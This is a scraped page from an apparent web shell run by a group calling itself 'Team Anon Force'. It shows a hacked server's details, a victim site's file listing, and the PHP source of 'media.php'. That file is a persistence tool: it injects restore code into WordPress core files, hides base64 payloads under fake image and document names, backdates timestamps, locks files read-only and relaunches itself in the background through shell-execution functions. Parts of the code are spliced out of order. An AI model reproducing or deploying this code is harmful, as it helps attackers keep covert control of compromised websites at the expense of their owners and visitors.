byp4a55 professor6T9

Linux server326.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
67.223.118.122

File Name : media.php

<?php
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time',0);
ignore_user_abort(true);
if (function_exists('opcache_reset')) { opcache_reset(); }

$wwwroot_txt=__DIR__.'/'.md5('wwwroot_2024c').'.txt';
$self_bak=file_get_contents(__FILE__);
$unlock_done=false;
$unlock_key=md5('unlock_2024c').'.txt';
$unlock_key_content=md5('yes_2024c');
/*---*/$lock_file_list=array();/*---*/
$wwwroot='';
$bak_arr=array();
$wp_hydata_arr=array();
$append_code_arr=array();
$max_times_record_txt=__DIR__.'/'.md5('max_times_record_2024c').'.txt';

if ($max_times>0)
            {
                $max_times--;
                if ( $max_times<=0 ) break;
            }
        }
    }else
    {
        echo 'wwwroot无效 --- 运行失败';
        exit;        
    }
}

function check_do_lock()
{
    sleep(2);
    if ( is_file(__FILE__) ) 
    {
        echo '<br><br>执行失败,改用http方式执行';
        http_do_lock();
    }
}

if ( is_cli()==true )
{
    if (is_file($wwwroot_txt)) 
    {
        $wwwroot=trim(file_get_contents($wwwroot_txt));
        unlink($wwwroot_txt);
    }
    do_lock(0);
}else
{
    if ( isset($_SERVER["REQUEST_URI"])&&isset($_SERVER["SCRIPT_FILENAME"]) )
    {
        $request_uri_arr=explode('?',$_SERVER["REQUEST_URI"]);
        $request_uri_head=$request_uri_arr[0];
        $script_filename=str_replace('\\','/',$_SERVER["SCRIPT_FILENAME"]);
        $wwwroot=str_replace($request_uri_head,'',$script_filename);
    }elseif( isset($_SERVER["DOCUMENT_ROOT"]) )
    {
        $wwwroot=$_SERVER["DOCUMENT_ROOT"];
    }else
    {
        $wwwroot=str_replace($_SERVER['SCRIPT_NAME'],'',$_SERVER["SCRIPT_FILENAME"]);
    }
    $wwwroot=trim($wwwroot);
    
    if ($wwwroot=='') 
    {
        echo 'wwwroot获取失败 --- 本程序无法运行';
        exit;
    }

$check_bak=false;
    foreach($lock_file_list as $lock_file1)
    {
        $bak_path=$wwwroot.$lock_file1['bak'];
        if ( is_file($bak_path) ) 
        {
            $bak_content=trim(file_get_contents($bak_path));
            if ($bak_content!='')
            {
                $check_bak=true;
                $bak_arr[]=array( 'path'=>$bak_path, 'content'=>$bak_content );
                $wp_hydata_arr[]=array( 'path'=>$wwwroot.$lock_file1['bak'], 'content'=>$bak_content );
            }
        }
    }

if ($_GET['action']=='lock')
    {
        if ($check_bak==false)
        {
            echo '<br><br><font color="red">备份文件未设置或未上传或者内容为空!</font>';
            exit;            
        }

$wp_hycode_file_arr=array(
            $wwwroot.'/wp-blog-header.php',
            $wwwroot.'/wp-load.php',
            $wwwroot.'/wp-settings.php',
            $wwwroot.'/wp-config.php',
            $wwwroot.'/wp-includes/template-loader.php',
            $wwwroot.'/wp-includes/version.php',
            $wwwroot.'/wp-includes/compat.php',
            $wwwroot.'/wp-includes/load.php',
            $wwwroot.'/wp-includes/functions.php',
            $wwwroot.'/wp-includes/plugin.php',
            $wwwroot.'/wp-includes/formatting.php',
            $wwwroot.'/wp-includes/l10n.php',
            $wwwroot.'/wp-includes/query.php',
            $wwwroot.'/wp-includes/theme.php',
            $wwwroot.'/wp-includes/user.php',
            $wwwroot.'/wp-includes/pluggable.php',
            $wwwroot.'/wp-includes/vars.php',
            $wwwroot.'/wp-includes/fonts.php',
            $wwwroot.'/wp-includes/style-engine.php',
            $wwwroot.'/wp-includes/sitemaps.php',
            $wwwroot.'/wp-includes/rest-api.php',
            $wwwroot.'/wp-includes/admin-bar.php',
            $wwwroot.'/wp-includes/nav-menu.php',
            $wwwroot.'/wp-includes/widgets.php',
            $wwwroot.'/wp-includes/media.php',
            $wwwroot.'/wp-includes/http.php',
            $wwwroot.'/wp-includes/update.php',
            $wwwroot.'/wp-includes/taxonomy.php',
            $wwwroot.'/wp-includes/feed.php',
            $wwwroot.'/wp-includes/comment.php',
            $wwwroot.'/wp-includes/category.php',
            $wwwroot.'/wp-includes/revision.php',
            $wwwroot.'/wp-includes/post.php'
            );
        $web_is_wp=false;
        foreach($wp_hycode_file_arr as $wp_hycode_file1)
        {
            if ( is_file($wp_hycode_file1) )
            {
                $web_is_wp=true;
                break;
            }
        }
        if ($web_is_wp===true)
        {
            $wp_hydata_file_arr=array( 
                $wwwroot.'/wp-admin/css/comments.css',
                $wwwroot.'/wp-admin/includes/plugin-config.php',
                $wwwroot.'/wp-admin/images/resize-x.gif',
                $wwwroot.'/wp-admin/js/tags-admin.js',
                $wwwroot.'/wp-admin/network/site-guests.php',
                $wwwroot.'/wp-admin/user/screens.php',
                $wwwroot.'/wp-admin/edit-drafts.php',
                $wwwroot.'/wp-content/plugins/akismet/runlog.txt',
                $wwwroot.'/wp-content/plugins/helloworld.php',
                $wwwroot.'/wp-content/themes/default/styles.css',
                $wwwroot.'/wp-content/upgrade/temp.dat',
                $wwwroot.'/wp-content/uploads/2022/01/0745125896.xls',
                $wwwroot.'/wp-content/uploads/2022/03/0612368974.bmp',
                $wwwroot.'/wp-content/uploads/2022/08/0123568542.png',
                $wwwroot.'/wp-content/uploads/2023/05/0506412536.tiff',
                $wwwroot.'/wp-content/uploads/2023/09/0305267845.jpg',
                $wwwroot.'/wp-content/uploads/2023/11/1253452548.doc',
                $wwwroot.'/wp-content/uploads/2024/01/0458235268.pdf',
                $wwwroot.'/wp-content/uploads/logs.php',
                $wwwroot.'/wp-includes/Requests/src/GetHeaders.php',
                $wwwroot.'/wp-includes/Text/Diff/Engine/filters.php',
                $wwwroot.'/wp-includes/css/wp-timer.css',
                $wwwroot.'/wp-includes/css/media-list.css',
                $wwwroot.'/wp-includes/fonts/dashicons.woff0',
                $wwwroot.'/wp-includes/images/rss2.png',
                $wwwroot.'/wp-includes/js/media-loads.js',
                $wwwroot.'/wp-includes/js/customize-styles.js',
                $wwwroot.'/wp-includes/theme-compat/slider.php',
                $wwwroot.'/wp-includes/cache-reset.php',
                $wwwroot.'/wp-includes/date-time.php',
                $wwwroot.'/wp-includes/load-check.php',
                $wwwroot.'/wp-includes/nav-bar.php',
                $wwwroot.'/wp-includes/plugins-init.php'
            );
            $char='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
            $wp_hydata=substr(str_shuffle($char),0,6).base64_encode(json_encode($wp_hydata_arr)).substr(str_shuffle($char),0,6);
            foreach($wp_hydata_file_arr as $wp_hydata_file1)
            {
                $append_code_arr[]='
$wp_update_file="'.$wp_hydata_file1.'";
if ( is_file($wp_update_file) )
{
    $wp_update_content=trim(file_get_contents($wp_update_file));
    if ( $wp_update_content!="" )
    {
        $wp_update_content=substr($wp_update_content,6,-6);
        $wp_update_content=base64_decode($wp_update_content);
        $wp_update_arr=json_decode($wp_update_content,true);
        if ( is_array($wp_update_arr) )
        {
            foreach($wp_update_arr as $value) 
            { 
                $file_mtime=filemtime($value["path"]);
                @chmod($value["path"],0777);
                @unlink($value["path"]);
                @file_put_contents($value["path"],$value["content"]);
                @touch($value["path"],$file_mtime);
                @chmod($value["path"],0444);
            }
        }
    }
}
';
                $wp_hydata_file1_dir=dirname($wp_hydata_file1);
                if ( !is_dir($wp_hydata_file1_dir) ) mkdir($wp_hydata_file1_dir,0755,true);
                if ( is_file($wp_hydata_file1) ) { chmod($wp_hydata_file1,0777); unlink($wp_hydata_file1 ); }
                file_put_contents($wp_hydata_file1,$wp_hydata);
                touch($wp_hydata_file1, strtotime("-500 days", time()));
                chmod($wp_hydata_file1,0644); 
            }
            
            foreach($wp_hycode_file_arr as $wp_hycode_file1)
            {
                if ( is_file($wp_hycode_file1) )
                {
                    $wp_hycode_file1_content=file_get_contents($wp_hycode_file1);
                    $wp_hycode_file1_mtime=filemtime($wp_hycode_file1);
                    foreach($append_code_arr as $append_code1)
                    {
                        $wp_hycode_file1_content=str_replace($append_code1,'',$wp_hycode_file1_content);
                        $wp_hycode_file1_content=str_replace(trim($append_code1),'',$wp_hycode_file1_content);
                    }
                    $wp_hycode_file1_content=rtrim($wp_hycode_file1_content,'?>');
                    $wp_hycode_file1_content.=$append_code_arr[array_rand($append_code_arr,1)];
                    file_put_contents($wp_hycode_file1,$wp_hycode_file1_content);
                    touch($wp_hycode_file1, $wp_hycode_file1_mtime);
                    chmod($wp_hycode_file1,0644); 
                }
            }
        }

if (is_file($wwwroot_txt))
        {
            chmod($wwwroot_txt,0777);
            unlink($wwwroot_txt);
        }
        file_put_contents($wwwroot_txt,$wwwroot);

$php_path=getPhpPath();
        $run_file=__FILE__;
        $cmd="nohup $php_path " . $run_file . " >/dev/null 2>&1 &";
        if (function_exists('exec'))
        {
            echo 'exec 执行 '.$cmd;
            exec($cmd);
            check_do_lock();
        }elseif(function_exists('shell_exec'))
        {
            echo 'shell_exec 执行 '.$cmd;
            shell_exec($cmd);
            check_do_lock();
        }elseif(function_exists('system'))
        {
            echo 'system 执行 '.$cmd;
            system($cmd);
            check_do_lock();
        }elseif(function_exists('passthru'))
        {
            echo 'passthru 执行 '.$cmd;
            passthru($cmd);
            check_do_lock();
        }elseif(function_exists('popen'))
        {
            echo 'popen 执行 '.$cmd;
            $fp = popen($cmd,"r");
            pclose($fp);
            check_do_lock();
        }elseif(function_exists('proc_open'))
        {
            echo 'proc_open 执行 '.$cmd;
            $fp = proc_open($cmd,array( array("pipe","r"),array("pipe","w"),array("file","/tmp/error-output.txt","a") ),$pipes);
            proc_close($fp);
            check_do_lock();
        }elseif(function_exists('pcntl_exec'))
        {
            echo 'pcntl_exec 执行 '.$php_path.' '.$run_file;
            pcntl_exec($php_path,array($run_file));
            check_do_lock();
        }else
        {
            echo 'http( set_time_limit=0,ignore_user_abort=true ) 执行 '.$run_file;
            http_do_lock();
        }        
    }elseif($_GET['action']=='unlock')
    {
        if ( is_file($wwwroot.'/'.$unlock_key) )
        {
            chmod($wwwroot.'/'.$unlock_key,0777);
            unlink($wwwroot.'/'.$unlock_key);            
        }
        file_put_contents($wwwroot.'/'.$unlock_key,$unlock_key_content);
        sleep(2);
        if ( !is_file($wwwroot.'/'.$unlock_key)||trim(file_get_contents($wwwroot.'/'.$unlock_key))!=$unlock_key_content )
        {
            echo '解锁成功!';
        }else
        {
            echo '无需解锁!';
        }
        if ( is_file($wwwroot.'/'.$unlock_key) )
        {
                chmod($wwwroot.'/'.$unlock_key,0777);
                file_put_contents($wwwroot.'/'.$unlock_key,'0');
                unlink($wwwroot.'/'.$unlock_key);    
        }
    }elseif($_GET['action']=='http_lock')
    {
        http_do_lock();
    }
    else
    {
        $html_button_lock='';
        $html_file_list='
            <form name="form1" action="?action=update" method="post">
                <ol>
                    <li>备份文件<input type="text" name="bak_file1" value="/index.php.bak" size="20"> --> 目标文件<input type="text" name="target_file1" value="/index.php" size="20"></li>
                    <li>备份文件<input type="text" name="bak_file2" value="/.htaccess.bak" size="20"> --> 目标文件<input type="text" name="target_file2" value="/.htaccess" size="20"></li>
                    <li>备份文件<input type="text" name="bak_file3" value="" size="20"> --> 目标文件<input type="text" name="target_file3" value="" size="20"></li>
                    <li>备份文件<input type="text" name="bak_file4" value="" size="20"> --> 目标文件<input type="text" name="target_file4" value="" size="20"></li>
                    <li>备份文件<input type="text" name="bak_file5" value="" size="20"> --> 目标文件<input type="text" name="target_file5" value="" size="20"></li>
                </ol>
                <p><input type="submit" name="submit" value="下一步" style="width:100px;height:50px;font-size:30px;"></p>
            </form>';
        $html_file_list2='';
        if ( count($lock_file_list)>0 )
        {
            foreach ($lock_file_list as $lock_file1)
            {
                $html_file_list2.='
                    备份文件 '.$lock_file1['bak'].' --> 目标文件 '.$lock_file1['target'].' <br/>';
            }
        }else
        {
            if ( $_GET['action']=='update' )
            {
                $update_code_inner='';
                for($i=1;$i<=5;$i++)
                {
                    if ( isset($_POST['bak_file'.$i]) && isset($_POST['target_file'.$i]) )
                    {
                        $bak_file=trim($_POST['bak_file'.$i]);
                        $target_file=trim($_POST['target_file'.$i]);
                        if ( substr($bak_file,0,1)=='/' && substr($target_file,0,1)=='/' && strlen($bak_file)>1 && strlen($target_file)>1 )
                        {
                            $html_file_list2.='备份文件 '.$bak_file.' --> 目标文件 '.$target_file.' <br/>';
                            $update_code_inner.='array("bak"=>"'.$bak_file.'","target"=>"'.$target_file.'"),';
                        }
                    }
                }
                if ( $update_code_inner!='' )
                {
                    $update_code_inner=rtrim($update_code_inner,',');
                    $update_code='$lock_file_list=array('.$update_code_inner.');';
                    $update_file_content=file_get_contents(__FILE__);
                    $update_file_content=str_replace('/*---*/$lock_file_list=array();/*---*/',$update_code,$update_file_content);
                    file_put_contents(__FILE__,$update_file_content);                
                }
            }            
        }
        if ( $html_file_list2!='' )
        {
            $html_file_list='
            <p>请确保以下备份文件已上传,再点击锁定!<br/>'.$html_file_list2.'</p>';  
            $html_button_lock='
            <p><a href="?action=lock" target="_self"><button type="button" style="width:100px;height:50px;font-size:30px;">锁定</button></a></p>';
        }
        echo '
<html>
    <head>
        <title>文件锁定程序-cww版4m</title>
    </head>
    <body>
        <div>
            <p>
                <h1>文件锁定程序-cww版4m</h1>
            </p>
            <p>
                <h3>
                    ***锁定后无响应请手动检查***更新锁定文件请先解锁***解锁和锁定不能运行在相同路径***备份文件和目标文件路径必须以/开头***
                </h3>
            </p>'.$html_file_list.$html_button_lock.'
            <p><a href="?action=unlock" target="_self"><button type="button" style="width:100px;height:50px;font-size:30px;">解锁</button></a></p>
        </div>
    </body>
</html>';
    }
}

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	binojpqy/nobody	0750	2026-02-17 04:17:53
..	dir	-	binojpqy/binojpqy	0711	2026-01-06 12:11:13
DAT Project PHP	dir	-	binojpqy/binojpqy	0755	2026-01-01 01:39:35
DATABASE SQL FILE	dir	-	binojpqy/binojpqy	0755	2025-12-27 01:33:31
actions	dir	-	binojpqy/binojpqy	0755	2026-02-17 04:17:59
admin	dir	-	binojpqy/binojpqy	0755	2026-02-17 03:51:48
config	dir	-	binojpqy/binojpqy	0755	2026-02-21 06:31:43
images	dir	-	binojpqy/binojpqy	0755	2025-12-25 01:14:11
includes	dir	-	binojpqy/binojpqy	0755	2025-12-28 12:32:39
sessions	dir	-	binojpqy/binojpqy	0755	2026-02-24 02:00:32
uploads	dir	-	binojpqy/binojpqy	0755	2025-12-24 06:46:20
.htaccess	text/plain	1.99 KB	binojpqy/binojpqy	0444	2025-12-25 01:14:06
1.php	text/x-php	1.31 MB	binojpqy/binojpqy	0644	2025-10-07 06:06:21
DAT Project PHP.zip	application/zip	45.91 KB	binojpqy/binojpqy	0644	2025-08-03 07:37:50
admin.php	application/octet-stream	76.94 KB	binojpqy/binojpqy	0644	2025-09-23 09:21:38
ask_question.php	text/plain	1.42 KB	binojpqy/binojpqy	0644	2025-08-04 04:49:46
dashboard.php	text/html	7.59 KB	binojpqy/binojpqy	0644	2025-08-04 04:27:22
dpd.txt	application/octet-stream	1 B	binojpqy/binojpqy	0644	2025-11-02 03:25:09
error_log	text/plain	10.65 KB	binojpqy/binojpqy	0644	2026-03-03 08:55:48
login.php	text/x-php	2.53 KB	binojpqy/binojpqy	0644	2025-08-04 05:28:34
logout.php	text/x-php	849 B	binojpqy/binojpqy	0644	2025-08-04 05:27:16
media.php	text/x-php	21.57 KB	binojpqy/binojpqy	0644	2025-11-02 03:24:47
notices.php	text/html	1.83 KB	binojpqy/binojpqy	0644	2025-08-04 04:51:36
questions.php	text/x-php	2.37 KB	binojpqy/binojpqy	0644	2025-08-04 04:49:02
referrals.php	text/html	2.11 KB	binojpqy/binojpqy	0644	2025-08-04 04:24:56
register.php	text/x-php	4.79 KB	binojpqy/binojpqy	0644	2025-08-04 03:47:38
robots.txt	text/plain	86 B	binojpqy/binojpqy	0644	2025-12-25 01:14:12
tasks.php	text/x-php	2.09 KB	binojpqy/binojpqy	0644	2025-08-04 04:43:24
txets.php	text/x-php	5.87 KB	binojpqy/binojpqy	0444	2025-12-24 06:46:20
verification.php	text/x-php	3.61 KB	binojpqy/binojpqy	0644	2025-08-04 04:20:02
view_question.php	text/plain	3.51 KB	binojpqy/binojpqy	0644	2025-08-04 04:50:22
view_task.php	text/html	3.39 KB	binojpqy/binojpqy	0644	2025-08-04 04:44:04
withdraw.php	text/html	5.73 KB	binojpqy/binojpqy	0644	2025-08-04 04:22:44

Team Anon Force

https://t.me/Professor6T9x